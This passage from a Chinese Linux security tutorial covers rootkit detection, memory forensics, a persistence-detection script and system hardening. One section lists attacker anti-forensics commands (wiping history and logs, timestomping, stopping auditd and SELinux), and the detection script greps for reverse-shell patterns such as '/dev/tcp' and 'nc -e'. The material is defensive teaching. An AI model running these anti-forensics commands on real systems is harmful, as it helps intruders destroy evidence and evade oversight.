  #   - /dev 目录异常文件
  #   - 可疑的内核模块
  #   - 网络接口的混杂模式
  #   - 启动项

  # ★ 局限性:
  #   这两个工具对【新型 Rootkit / eBPF Rootkit】基本无效
  #   只能做基础排查
EOF

echo ""
echo "===== 方法 4:包管理器完整性校验(★ 最可靠的方法之一)====="
echo "原理:用发行版的包管理器验证系统文件是否被篡改"
echo "      (攻击者改了文件,哈希就对不上)"
echo ""
echo "  # Debian/Ubuntu"
echo "  dpkg -V          # 验证所有包(输出被修改的文件)"
echo "  dpkg -V openssh-server procps coreutils net-tools"
echo ""
echo "  # RHEL/CentOS/Fedora"
echo "  rpm -Va | grep -E '^..5|^S'    # 验证所有包"
echo "  rpm -V openssh-server procps-ng coreutils"
echo ""
echo "  # 输出解读(rpm):"
echo "  #   S = 大小变了"
echo "  #   M = 权限/模式变了"
echo "  #   5 = MD5 变了  ← ★ 文件被改过"
echo "  #   D = 设备号变了"
echo "  #   L = 符号链接变了"
echo "  #   U = 属主变了"
echo "  #   G = 属组变了"
echo "  #   T = 修改时间变了"
echo "  #   . = 这一项正常"
echo ""
echo "  # ★ 关键检查对象(攻击者最爱改的):"
for pkg in openssh-server procps coreutils net-tools iproute2 util-linux psmisc; do
    if dpkg -V "$pkg" 2>/dev/null | head -3 | grep -q .; then
        echo "  [!] $pkg 有文件被修改:"
        dpkg -V "$pkg" 2>/dev/null | head -5
    fi
done

echo ""
echo "===== 方法 5:检查内核模块和 eBPF ====="
echo "--- 5.1 已加载的内核模块 ---"
lsmod | tail -n +2 | awk '{print $1}' | while read mod; do
    INFO=$(modinfo "$mod" 2>/dev/null)
    if [ -n "$INFO" ]; then
        SIG=$(echo "$INFO" | grep -c "signature")
        SRC=$(echo "$INFO" | grep -m1 "^filename:" | awk '{print $2}')
        echo "  $mod  ($SRC)  $([ "$SIG" -gt 0 ] && echo '有签名' || echo '[?] 无签名')"
    fi
done

echo ""
echo "--- 5.2 eBPF 程序(★ 新型 Rootkit 的藏身之处)---"
if command -v bpftool > /dev/null 2>&1; then
    echo "  已加载的 eBPF 程序:"
    bpftool prog list 2>/dev/null
    echo ""
    echo "  eBPF map:"
    bpftool map list 2>/dev/null | head -20
else
    echo "  [!] bpftool 未安装,无法检查 eBPF"
    echo "      安装: apt install linux-tools-\$(uname -r)"
fi

echo ""
echo "--- 5.3 检查 /proc/kallsyms 里的异常符号 ---"
if [ -r /proc/kallsyms ]; then
    echo "  模块数量: $(grep -c ' \[.*\]' /proc/kallsyms)"
    echo "  加载的模块符号(前 10 个):"
    grep ' \[.*\]' /proc/kallsyms | awk '{print $NF}' | sort -u | head -10
fi

echo ""
echo "===== 方法 6:内存取证(终极手段)====="
cat << 'EOF'
  如果怀疑被 Rootkit 感染,最可靠的方法是【内存取证】:
    1. dump 物理内存(LiME / AVML)
    2. 用 Volatility 分析内存镜像
    3. 从内存里找出被隐藏的进程、网络连接、内核模块

  # dump 内存(需要 root + 内核头文件)
  # 用 AVML(不需要编译内核模块,更好用)
  wget https://github.com/microsoft/avml/releases/latest/download/avml
  chmod +x avml
  ./avml memory.lime

  # 用 Volatility 3 分析
  pip install volatility3
  vol -f memory.lime linux.pslist        # 列出进程(从内核数据结构读,Rootkit 藏不住)
  vol -f memory.lime linux.sockstat      # 列出网络连接
  vol -f memory.lime linux.lsmod         # 列出内核模块
  vol -f memory.lime linux.check_syscall # ★ 检查系统调用表是否被 hook
  vol -f memory.lime linux.check_modules # 检查模块链表
  vol -f memory.lime linux.hidden_modules

  ★ 为什么内存取证最可靠?
    因为它直接读内核的内存数据结构,
    不通过任何系统调用,Rootkit 无法 hook。

  ★ 缺点:需要停机或至少快照,且分析门槛高
    一般只用于重大安全事件响应
EOF

echo ""
echo "===== 如果确认被 Rootkit 感染,怎么办?====="
cat << 'EOF'
  ★★ 唯一可靠的处理方式:重装系统 ★★

  原因:
    Rootkit 运行在内核态,拥有最高权限。
    你无法确定它做了什么、还留了什么。
    "清理 Rootkit"在实战中是不可信的——
    你永远不知道有没有漏掉某个隐藏的后门。

  正确流程:
    ① 【隔离】断开网络(但不要关机!保留内存证据)
    ② 【取证】先做内存 dump,再做磁盘镜像
    ③ 【分析】确定入侵时间、入口、影响范围
    ④ 【重建】从已知干净的基础镜像重建系统
    ⑤ 【恢复】从备份恢复数据(★ 备份要先扫描,可能也被感染)
    ⑥ 【改密】所有凭据全部轮换(密码、密钥、Token、证书)
    ⑦ 【复盘】堵住入侵入口

  ⚠️ 常见错误:
    - 发现 Rootkit 后立即关机 → 丢失内存证据,无法溯源
    - 只删后门不重装 → 大概率还有残留
    - 恢复数据不扫描 → 把后门又带回来了
    - 只改被攻陷机器的密码 → 域内其他机器可能也沦陷了
EOF

6.3.7 痕迹清除(攻击者视角 + 防御视角)

攻击者会做什么:

# ========== ① 清理 history ==========
history -c                      # 清空当前会话的历史
rm -f ~/.bash_history
> ~/.bash_history               # 清空但保留文件
export HISTSIZE=0               # 本次会话不记录
unset HISTFILE                  # 不写 history 文件
ln -sf /dev/null ~/.bash_history   # ★ 软链接到 /dev/null(很阴险)

# 更隐蔽:只删除特定的行(用 sed)
sed -i '/恶意命令关键词/d' ~/.bash_history

# ★ 防御:
#   - 把 history 实时同步到 syslog
#     shopt -s histappend
#     PROMPT_COMMAND='history -a'
#     在 /etc/profile 里加:
#     export PROMPT_COMMAND='RETRN_VAL=$?;logger -p local6.debug "$(whoami) [$$]: $(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//" )"'
#   - 用 auditd 记录所有命令(见 6.4.5)
#   - 用堡垒机/跳板机(所有操作录屏)

# ========== ② 清理日志文件 ==========
# 系统日志
> /var/log/auth.log
> /var/log/syslog
> /var/log/secure
> /var/log/messages
rm -f /var/log/auth.log*

# web 日志
> /var/log/nginx/access.log
> /var/log/apache2/access.log

# lastlog / wtmp / btmp(登录记录)
> /var/log/wtmp      # 成功登录记录(last 命令读它)
> /var/log/btmp      # 失败登录记录(lastb 命令读它)
> /var/run/utmp      # 当前登录(who/w 命令读它)
> /var/log/lastlog   # 每个用户最后登录时间

# ★ 这些是二进制文件,要用专门工具清除:
#   utmpdump /var/log/wtmp > wtmp.txt
#   编辑 wtmp.txt 删掉相关行
#   utmpdump -r < wtmp.txt > /var/log/wtmp
#   或者用 clearlast、wipe 工具

# journald(systemd 的日志)
journalctl --vacuum-size=1M     # 只保留 1MB
journalctl --rotate --vacuum-time=1s
rm -rf /var/log/journal/*

# ★ 防御:
#   - 日志实时外发到远程 syslog 服务器 / SIEM
#   - 开启日志服务器的 append-only(chattr +a)
#   - 用 WORM 存储(一次写入多次读取)

# ========== ③ 篡改文件时间戳 ==========
# 让后门文件看起来和正常文件一样旧
touch -r /bin/ls /tmp/.backdoor
# -r = 参考另一个文件的时间戳

# 或者指定时间
touch -d "2020-01-01 00:00:00" /tmp/.backdoor

# ★ 检测:
#   ① 对比【修改时间 mtime】和【状态改变时间 ctime】
#      touch 只能改 mtime/atime,改不了 ctime
#      如果 ctime 明显晚于 mtime,说明被 tamper 过
stat /tmp/.backdoor
#   输出:
#     Modify: 2020-01-01 00:00:00   ← 被改过
#     Change: 2026-09-02 13:20:45   ← ★ 露馅了(touch 改不了这个)

#   ② 检查 mtime 早于 inode 创建时间的文件
#   ③ 用 find 找"mtime 比 ctime 新"的文件
find / -type f -newerct "-1 days" ! -newermt "-1 days" 2>/dev/null
#   含义:ctime 在 1 天内(最近被改过状态),但 mtime 不在 1 天内

# ========== ④ 隐藏进程 ==========
# 方法 A:改进程名(让 ps 显示得像正常进程)
#   在程序里改 argv[0]
#   strcpy(argv[0], "[kworker/2:1]");

# 方法 B:用 Rootkit 隐藏(见 6.3.6)

# 方法 C:mount --bind 掩盖 /proc/<pid>
#   mkdir -p /tmp/empty
#   mount --bind /tmp/empty /proc/<pid>

# ★ 检测:
ps aux | grep -E "\[.*\]"        # 内核线程应该都在 [] 里
# 如果有非内核进程伪装成 [xxx],可疑

# 检查 /proc/<pid>/exe 是否指向真实路径
for pid in $(ls -d /proc/[0-9]* | xargs -n1 basename); do
    EXE=$(readlink /proc/$pid/exe 2>/dev/null)
    if [ "$EXE" = "(deleted)" ]; then
        echo "[!] PID $pid 的二进制已被删除(可疑)"
        cat /proc/$pid/comm 2>/dev/null
    fi
done
# ★ exe 指向 (deleted) 说明:程序在自删除后运行(常见于恶意程序)

# ========== ⑤ 关闭/绕过审计 ==========
auditctl -D                      # 删除所有 auditd 规则
systemctl stop auditd
systemctl disable auditd
service rsyslog stop
setenforce 0                     # 关闭 SELinux
systemctl stop firewalld

# ★ 防御:
#   - auditd 规则设为不可修改(-e 2 锁定配置)
#   - 监控 auditd 进程本身
#   - HIDS agent 有自保护(无法被停止)

★ 防御的核心原则:让日志删不掉

┌────────────────────────────────────────────────────────┐
│  单机日志 = 攻击者删了就没了                             │
│  集中日志 = 本机删了,服务器上还有                        │
│                                                          │
│  ★ 这是主机安全里【投入产出比最高】的一条措施:          │
│    日志实时外发                                          │
│                                                          │
│  实现方式:                                              │
│    ① rsyslog / syslog-ng 配远程转发                      │
│       *.* @@siem.example.com:514    (@@ = TCP)        │
│    ② 文件采集 agent(Filebeat / Fluentd)                │
│    ③ auditd 配远程(audisp-remote)                     │
│    ④ 云厂商的日志服务                                    │
│                                                          │
│  ★ 配套措施:                                            │
│    - 日志服务器对本机【只开写入权限】                    │
│      (攻击者连过去也删不掉)                            │
│    - WORM 存储(一次写多次读,物理上删不了)             │
│    - 日志完整性校验(链式哈希)                          │
│    - 本地日志目录 chattr +a(只能追加不能删)            │
└────────────────────────────────────────────────────────┘

6.3.8 持久化检测完整清单

#!/bin/bash
# ============================================
# Linux 持久化检测一键脚本
# (应急响应时跑一遍,快速定位后门)
# ============================================

RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
NC='\033[0m'

alert() { echo -e "${RED}[!] $1${NC}"; }
warn()  { echo -e "${YELLOW}[*] $1${NC}"; }
ok()    { echo -e "${GREEN}[+] $1${NC}"; }

echo "=========================================="
echo "Linux 持久化检测 —— $(date)"
echo "主机: $(hostname)  内核: $(uname -r)"
echo "=========================================="

# ---------- ① 账户 ----------
echo ""
echo "【1】账户检查"
echo "--- 所有 uid=0 的账号(应该只有 root)---"
awk -F: '$3 == 0 {print "  " $1}' /etc/passwd | while read u; do
    if [ "$u" != "root" ]; then
        alert "发现非 root 的 uid=0 账号: $u"
    else
        echo "  root"
    fi
done

echo "--- 可登录的账号(shell 不是 nologin/false)---"
grep -vE '/(nologin|false|sync)$' /etc/passwd | awk -F: '{print "  " $1 " -> " $7}'

echo "--- 空密码账号 ---"
awk -F: '($2 == "") {print "  [!] " $1 " 空密码!"}' /etc/shadow 2>/dev/null

echo "--- 最近新增的账号(/etc/passwd 修改时间)---"
stat -c "  /etc/passwd 最后修改: %y" /etc/passwd
stat -c "  /etc/shadow 最后修改: %y" /etc/shadow 2>/dev/null

# ---------- ② SSH ----------
echo ""
echo "【2】SSH 检查"
echo "--- authorized_keys ---"
find / -name "authorized_keys" -o -name "authorized_keys2" 2>/dev/null | while read f; do
    echo "  $f"
    stat -c "    修改时间: %y" "$f"
    # 检查有没有 command= / from= 这种可疑的
    if grep -qE 'command=|from=|environment=' "$f" 2>/dev/null; then
        warn "    $f 包含 command=/from= 选项,需人工确认"
    fi
done

echo "--- sshd 二进制完整性 ---"
file /usr/sbin/sshd
dpkg -V openssh-server 2>/dev/null || rpm -V openssh-server 2>/dev/null

echo "--- PAM 配置 ---"
ls -la --time-style=full-iso /etc/pam.d/ | tail -n +2
echo "  PAM 模块目录(非标准文件需警惕):"
ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/ 2>/dev/null | tail -n +2
dpkg -V libpam-modules 2>/dev/null || rpm -V pam 2>/dev/null

# ---------- ③ 服务 ----------
echo ""
echo "【3】服务检查"
echo "--- 启用的 systemd 服务 ---"
systemctl list-unit-files --type=service --state=enabled 2>/dev/null | tail -n +2 | head -40

echo "--- service 文件里的可疑命令 ---"
grep -rlE 'bash -i|/dev/tcp|nc -e|curl.*\|.*(ba)?sh|wget.*\|.*(ba)?sh|base64 -d|eval' \
    /etc/systemd/system/ /lib/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null | while read f; do
    alert "可疑 service 文件: $f"
    grep -nE 'bash -i|/dev/tcp|nc -e|curl.*\|.*(ba)?sh|base64 -d' "$f" | head -3
done

echo "--- rc.local ---"
if [ -f /etc/rc.local ]; then
    SIZE=$(stat -c %s /etc/rc.local)
    if [ "$SIZE" -gt 100 ]; then
        warn "/etc/rc.local 有内容(正常应该只有 exit 0)"
        cat /etc/rc.local
    fi
fi

# ---------- ④ 定时任务 ----------
echo ""
echo "【4】定时任务检查"
echo "--- /etc/crontab ---"
cat /etc/crontab 2>/dev/null | grep -v '^#' | grep -v '^$'
echo "--- /etc/cron.d/ ---"
ls -la /etc/cron.d/ 2>/dev/null | tail -n +2
echo "--- 所有用户的 crontab ---"
for u in $(cut -f1 -d: /etc/passwd); do
    CRON=$(crontab -l -u "$u" 2>/dev/null | grep -v '^#' | grep -v '^$')
    if [ -n "$CRON" ]; then
        echo "  [$u]"
        echo "$CRON" | sed 's/^/    /'
    fi
done
echo "--- cron 里的可疑命令 ---"
grep -rE 'bash -i|/dev/tcp|curl.*\|.*(ba)?sh|wget.*\|.*(ba)?sh|base64 -d' \
    /etc/crontab /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ \
    /etc/cron.weekly/ /etc/cron.monthly/ /var/spool/cron/ 2>/dev/null

# ---------- ⑤ 动态链接 ----------
echo ""
echo "【5】动态链接劫持检查"
if [ -f /etc/ld.so.preload ]; then
    alert "/etc/ld.so.preload 存在!(正常系统不该有)"
    cat /etc/ld.so.preload
else
    ok "/etc/ld.so.preload 不存在(正常)"
fi

echo "--- shell 配置文件里的可疑内容 ---"
for f in /etc/profile /etc/bash.bashrc /etc/profile.d/* \
         /root/.bashrc /root/.profile /root/.bash_profile \
         /home/*/.bashrc /home/*/.profile; do
    if [ -f "$f" ]; then
        SUS=$(grep -nE 'bash -i|/dev/tcp|nc -|curl.*\|.*sh|base64|eval\(|LD_PRELOAD' "$f" 2>/dev/null)
        if [ -n "$SUS" ]; then
            alert "$f 有可疑内容:"
            echo "$SUS" | head -5
        fi
    fi
done

# ---------- ⑥ SUID / Capabilities ----------
echo ""
echo "【6】SUID / Capabilities"
SHOULD_NOT_BE_SUID="find vim vi nano less more python python3 perl ruby awk nmap tcpdump wget curl bash sh zsh env cp mv tar git ftp docker"
for prog in $SHOULD_NOT_BE_SUID; do
    R=$(find / -name "$prog" -perm -4000 -type f 2>/dev/null)
    [ -n "$R" ] && alert "$prog 是 SUID: $R"
done

echo "--- 非标准 capabilities ---"
getcap -r / 2>/dev/null | grep -vE 'cap_net_raw|ping|arping|traceroute|mtr|clockdiff'

# ---------- ⑦ Rootkit 迹象 ----------
echo ""
echo "【7】Rootkit 迹象检查"
PS_COUNT=$(ps -e --no-headers 2>/dev/null | wc -l)
PROC_COUNT=$(ls -d /proc/[0-9]* 2>/dev/null | wc -l)
echo "  ps 进程数: $PS_COUNT, /proc 进程数: $PROC_COUNT"
[ "$PROC_COUNT" -gt "$PS_COUNT" ] && alert "有 $((PROC_COUNT - PS_COUNT)) 个进程被隐藏!"

echo "--- exe 指向 (deleted) 的进程 ---"
for pid in $(ls -d /proc/[0-9]* 2>/dev/null | xargs -n1 basename); do
    if [ "$(readlink /proc/$pid/exe 2>/dev/null)" = "(deleted)" ]; then
        warn "PID $pid ($(cat /proc/$pid/comm 2>/dev/null)) 的二进制已删除"
    fi
done

echo "--- 内核模块 ---"
lsmod | tail -n +2 | awk '{print "  " $1}'

echo "--- 混杂模式网卡(可能是嗅探)---"
ip link show 2>/dev/null | grep -i promisc && alert "有网卡处于混杂模式"

# ---------- ⑧ 网络连接 ----------
echo ""
echo "【8】网络连接"
echo "--- 监听端口 ---"
ss -tunlp 2>/dev/null | grep LISTEN
echo "--- 已建立的外部连接 ---"
ss -tunp 2>/dev/null | grep ESTAB | head -20

# ---------- ⑨ 日志 ----------
echo ""
echo "【9】日志检查"
echo "--- 最近的登录 ---"
last -20 2>/dev/null
echo "--- 失败的登录 ---"
lastb -20 2>/dev/null | head -20
echo "--- 日志文件的修改时间(被清空会有异常)---"
for log in /var/log/auth.log /var/log/syslog /var/log/secure /var/log/wtmp /var/log/btmp /var/log/lastlog; do
    [ -f "$log" ] && stat -c "  $log: 大小=%s 修改=%y" "$log"
done
echo "--- 大小为 0 的日志文件(可能被清空)---"
find /var/log -type f -size 0 2>/dev/null | head -10

echo ""
echo "=========================================="
echo "检测完成。以上所有 [!] 项都需要人工确认。"
echo "=========================================="

6.4 Linux 安全加固(从零到基线)

提权和持久化是“攻击视角”,这一节是“防御视角”。

加固的原则:纵深防御 + 最小权限 + 默认拒绝 + 可观测。

6.4.1 账户与认证加固

#!/bin/bash
# ============================================
# Linux 账户与认证加固脚本
# ============================================

echo "===== 1. 密码策略(PAM)====="

# Debian/Ubuntu: 安装密码质量检查模块
# apt install libpam-pwquality

# /etc/security/pwquality.conf 或 /etc/security/pam_pwquality.conf
cat > /etc/security/pwquality.conf << 'EOF'
# 最小长度
minlen = 12
# 至少要包含的小写/大写/数字/特殊字符数量(负数表示最多)
dcredit = -1        # 至少 1 个数字
ucredit = -1        # 至少 1 个大写
lcredit = -1        # 至少 1 个小写
ocredit = -1        # 至少 1 个特殊字符
# 最多允许连续相同字符数
maxrepeat = 3
# 最多允许连续递增/递减字符数(abc、123)
maxsequence = 3
# 新密码中与旧密码相同的字符数不能超过 N
difok = 5
# 检查是否是字典单词
dictcheck = 1
# 检查是否包含用户名
usercheck = 1
# 检查是否在 /etc/passwd 的 gecos 字段里
gecoscheck = 1
# 密码中至少要有 N 种字符类型
minclass = 3
EOF

# 在 PAM 里启用
# /etc/pam.d/common-password(Debian/Ubuntu)
#   password requisite pam_pwquality.so retry=3
# /etc/pam.d/system-auth(RHEL/CentOS)
#   password requisite pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type=

echo ""
echo "===== 2. 密码有效期(/etc/login.defs)====="
# 修改 /etc/login.defs
sed -i 's/^PASS_MAX_DAYS.*/PASS_MAX_DAYS   90/' /etc/login.defs
sed -i 's/^PASS_MIN_DAYS.*/PASS_MIN_DAYS   1/' /etc/login.defs
sed -i 's/^PASS_WARN_AGE.*/PASS_WARN_AGE   7/' /etc/login.defs
sed -i 's/^PASS_MIN_LEN.*/PASS_MIN_LEN    12/' /etc/login.defs

# 对已有用户生效
# chage -M 90 -m 1 -W 7 <username>

# 检查
echo "  当前配置:"
grep -E '^PASS_(MAX|MIN|WARN)' /etc/login.defs

echo ""
echo "===== 3. 账户锁定策略(防暴力破解)====="

# ---------- 方法一:pam_faillock(推荐,RHEL 系默认)----------
# /etc/pam.d/system-auth 或 /etc/pam.d/common-auth
# 在 auth 段加入:
cat << 'PAMEOF'
# 失败计数
auth    required    pam_faillock.so preauth silent audit deny=5 unlock_time=900 fail_interval=900
auth    sufficient  pam_unix.so
auth    [default=die] pam_faillock.so authfail audit deny=5 unlock_time=900 fail_interval=900
auth    required    pam_faillock.so authsucc audit deny=5 unlock_time=900 fail_interval=900
PAMEOF
# 含义:15 分钟内失败 5 次,锁定 15 分钟

# 查看/解锁
# faillock --user alice          查看失败次数
# faillock --user alice --reset  解锁

# ---------- 方法二:pam_tally2(老系统)----------
# pam_tally2 --user alice --reset

echo ""
echo "===== 4. ★ SSH 加固(最重要)====="
cat > /etc/ssh/sshd_config.d/99-hardening.conf << 'EOF'
# ============================================
# SSH 安全加固配置
# ============================================

# ---------- 认证 ----------
# ★ 禁止 root 直接登录(最重要的一条)
PermitRootLogin no
# 如果需要 root,改成:
# PermitRootLogin prohibit-password    # 允许密钥,禁止密码

# ★ 禁用密码认证,只用密钥(最强)
PasswordAuthentication no
PubkeyAuthentication yes

# 如果必须保留密码认证,至少禁用空密码
PermitEmptyPasswords no

# 限制认证尝试次数
MaxAuthTries 3

# 登录宽限时间(多久没输完密码就断开)
LoginGraceTime 30

# ---------- 访问控制 ----------
# 只允许特定用户登录
AllowUsers alice bob deploy
# 或只允许特定组
# AllowGroups sshusers admins

# 禁止特定用户
# DenyUsers test guest

# ★ 用防火墙限制来源 IP(更彻底)
# 或者在 sshd 里用 Match 块
# Match Address 10.0.0.0/8
#     PasswordAuthentication yes
# Match Address *
#     PasswordAuthentication no

# ---------- 会话 ----------
# 空闲超时(10 分钟无操作自动断开)
ClientAliveInterval 300
ClientAliveCountMax 2

# 最大并发未认证连接(防 DoS)
MaxStartups 10:30:60

# ---------- 禁用危险特性 ----------
# 禁止端口转发(防止攻击者用你的机器做跳板)
AllowTcpForwarding no
# 如果需要转发,至少禁止远程转发到任意地址
# AllowTcpForwarding remote
# GatewayPorts no

# 禁止 X11 转发
X11Forwarding no

# 禁止 Agent 转发(防止私钥被滥用)
AllowAgentForwarding no

# 禁止隧道设备
PermitTunnel no

# ---------- 加密 ----------
# 只使用强加密算法
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512

# ---------- 日志与信息泄露 ----------
# 详细日志
LogLevel VERBOSE
SyslogFacility AUTH

# 隐藏版本信息(改成别的或删掉)
# Banner none

# ---------- 其他 ----------
# 使用 PAM
UsePAM yes

# 严格的模式(检查用户目录权限)
StrictModes yes

# ★ 限制 authorized_keys 的位置(防止用户目录里的被利用)
AuthorizedKeysFile /etc/ssh/authorized_keys/%u
EOF

# 如果用集中管理 authorized_keys,要创建目录
mkdir -p /etc/ssh/authorized_keys
chmod 755 /etc/ssh/authorized_keys
# 每个用户一个文件:/etc/ssh/authorized_keys/alice
chmod 644 /etc/ssh/authorized_keys/*
chown root:root /etc/ssh/authorized_keys/*

# 检查配置
sshd -t
# 重启
systemctl restart sshd

# ⚠️ 重要:重启前一定要保留一个已登录的会话!
#    否则配置错了就连不上了

echo ""
echo "===== 5. 清理无用账户 ====="
cat << 'EOF'
# 锁定不需要登录的系统账号
for user in daemon bin sys games man lp mail news uucp proxy www-data \
            backup list irc gnats nobody systemd-network systemd-resolve; do
    usermod -L "$user" 2>/dev/null    # 锁定密码
    usermod -s /usr/sbin/nologin "$user" 2>/dev/null
done

# 检查还有哪些账号能登录
grep -vE '/(nologin|false)$' /etc/passwd

# 检查空密码账号
awk -F: '($2 == "") {print $1}' /etc/shadow
EOF

echo ""
echo "===== 6. sudo 加固 ====="
cat << 'EOF'
# 见 6.2.3 节的 sudoers 安全配置
# 关键点:
#   ① Defaults env_reset(防环境变量劫持)
#   ② Defaults timestamp_timeout=0(每次都要密码)
#   ③ 不在 sudoers 里放 shell/编辑器/解释器
#   ④ 开启 sudo 日志
EOF

echo ""
echo "===== 7. 双因子认证(可选但推荐)====="
cat << 'EOF'
# Google Authenticator PAM 模块
apt install libpam-google-authenticator    # Debian/Ubuntu
yum install google-authenticator            # RHEL/CentOS

# 每个用户生成密钥
google-authenticator

# 在 PAM 里启用
# /etc/pam.d/sshd 加入:
#   auth required pam_google_authenticator.so

# /etc/ssh/sshd_config:
#   ChallengeResponseAuthentication yes
#   AuthenticationMethods publickey,keyboard-interactive
#   (先验证密钥,再验证动态码)
EOF

6.4.2 文件权限加固

#!/bin/bash
# ============================================
# 文件权限加固
# ============================================

echo "===== 1. 关键系统文件权限 ====="

# ★ 这些文件的权限必须严格
chmod 644 /etc/passwd       # 所有人可读(必要)
chmod 000 /etc/shadow       # ★ 只有 root 能读(或 600)
chmod 000 /etc/gshadow
chmod 644 /etc/group
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/sudoers      # 或 440
chmod 700 /etc/sudoers.d/
chmod 600 /boot/grub/grub.cfg 2>/dev/null
chmod 600 /etc/crontab
chmod 700 /etc/cron.d/
chmod 700 /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# 属主必须是 root
chown root:root /etc/passwd /etc/shadow /etc/group /etc/gshadow
chown root:root /etc/sudoers /etc/ssh/sshd_config /etc/crontab

echo "  检查:"
ls -l /etc/passwd /etc/shadow /etc/sudoers /etc/crontab

echo ""
echo "===== 2. 全局可写文件(危险)====="
echo "--- 全局可写的文件(不含 /proc /sys)---"
find / -xdev -type f -perm -0002 -a ! -perm -1000 \
     ! -path "/proc/*" ! -path "/sys/*" ! -path "/dev/*" \
     ! -path "/tmp/*" ! -path "/var/tmp/*" \
     2>/dev/null | head -20
# -perm -0002    other 有写权限
# ! -perm -1000  且没有 sticky 位
# ★ 这些文件任何人都能改,极度危险

echo "--- 全局可写的目录(不含 sticky)---"
find / -xdev -type d -perm -0002 -a ! -perm -1000 \
     ! -path "/proc/*" ! -path "/sys/*" \
     2>/dev/null | head -20

echo "--- 无主文件(可能是攻击者留下的)---"
find / -xdev \( -nouser -o -nogroup \) 2>/dev/null | head -20

echo ""
echo "===== 3. umask 设置 ====="
# umask 决定新建文件的默认权限
#   022 → 文件 644,目录 755(默认,ok)
#   027 → 文件 640,目录 750(更安全,同组可读)
#   077 → 文件 600,目录 700(最安全,只有自己)

# 全局设置
echo "umask 027" >> /etc/profile
echo "umask 027" >> /etc/bash.bashrc

# 对 root 用更严格的
echo "umask 077" >> /root/.bashrc

echo "  当前 umask: $(umask)"

echo ""
echo "===== 4. 挂载选项加固(/etc/fstab)====="
cat << 'EOF'
# ★ 推荐配置:
#
# /tmp 单独分区,且禁止执行、禁止 SUID、禁止设备文件
tmpfs   /tmp    tmpfs   defaults,nosuid,noexec,nodev,size=2G   0  0
#
# /var/tmp
tmpfs   /var/tmp  tmpfs  defaults,nosuid,noexec,nodev,size=1G  0  0
#
# /dev/shm(共享内存,常被用来放 exploit)
tmpfs   /dev/shm  tmpfs  defaults,nosuid,noexec,nodev,size=1G  0  0
#
# /home
/dev/sda3  /home  ext4  defaults,nosuid,nodev  0  2
#
# /boot(不需要执行)
/dev/sda1  /boot  ext4  defaults,nosuid,noexec,nodev  0  2

# 三个关键选项:
#   nosuid  忽略 SUID/SGID 位(防 SUID 提权)
#   noexec  不能执行程序(防上传 webshell 执行)
#   nodev   不能解释设备文件(防读 /dev/mem)

# ★ 注意:
#   - /tmp 设 noexec 会导致某些安装脚本失败
#     可以用 remount 临时挂载为 exec
#   - / 不能设 noexec(系统起不来)

# 立即生效(不用重启)
mount -o remount,nosuid,noexec,nodev /tmp
mount -o remount,nosuid,noexec,nodev /dev/shm
EOF

echo ""
echo "===== 5. 用 chattr 保护关键文件(不可变)====="
# chattr +i  文件不可修改、删除、重命名、创建硬链接
#             连 root 都改不了(除非先 chattr -i)
# chattr +a  只能追加(适合日志文件)

chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/gshadow
chattr +i /etc/sudoers
chattr +i /etc/ssh/sshd_config
chattr +i /etc/crontab

# 日志文件设为只能追加
chattr +a /var/log/auth.log
chattr +a /var/log/syslog
chattr +a /var/log/secure 2>/dev/null
chattr +a /var/log/messages 2>/dev/null

# 查看
lsattr /etc/passwd /etc/shadow /var/log/auth.log

# ★ 优缺点:
#   优点:即使拿到 root 也改不了(要先 chattr -i,会留下痕迹)
#   缺点:自己改配置也要先解锁(麻烦)
#   建议:只对"几乎不改"的文件用

echo ""
echo "===== 6. 检查脚本 ====="
cat << 'EOF'
# 定期检查这几个东西:
#   ① 新增的 SUID/SGID 文件(对比基线)
#   ② 全局可写的文件/目录
#   ③ 关键文件权限是否变化
#   ④ /etc 下文件的修改时间
#   ⑤ 系统命令的完整性(dpkg -V / rpm -Va)
EOF

6.4.3 内核参数加固(sysctl)

# ============================================
# /etc/sysctl.d/99-security.conf
# 内核安全参数加固
# ============================================

cat > /etc/sysctl.d/99-security.conf << 'EOF'
# ============================================
# 网络安全
# ============================================

# ---- 防 IP 欺骗 ----
# 启用反向路径过滤(检查源 IP 是否可达)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# ---- 忽略/记录异常包 ----
# 忽略 ICMP 重定向(防 ICMP 重定向攻击)
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# 忽略源路由包(攻击者可指定路由路径)
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0

# 忽略 ICMP ping 广播(防 Smurf 攻击)
net.ipv4.icmp_echo_ignore_broadcasts = 1

# 忽略伪造的 ICMP 错误消息
net.ipv4.icmp_ignore_bogus_error_responses = 1

# ---- SYN Flood 防护 ----
# 启用 SYN Cookie(半连接队列满时用 cookie 验证)
net.ipv4.tcp_syncookies = 1
# SYN 重试次数
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_synack_retries = 2
# 半连接队列长度
net.ipv4.tcp_max_syn_backlog = 4096
# SYN+ACK 重试次数
net.ipv4.tcp_retries1 = 3

# ---- 记录可疑包(用于排查)----
# 记录 Martian 包(源 IP 不可能的包)
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martians = 1

# ---- 其他 ----
# 不发送 ICMP 重定向(路由器才需要)
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# TIME_WAIT  buckets 上限(防 DoS)
net.ipv4.tcp_max_tw_buckets = 2000000
# 启用 TIME_WAIT 重用(对出站连接)
net.ipv4.tcp_tw_reuse = 1

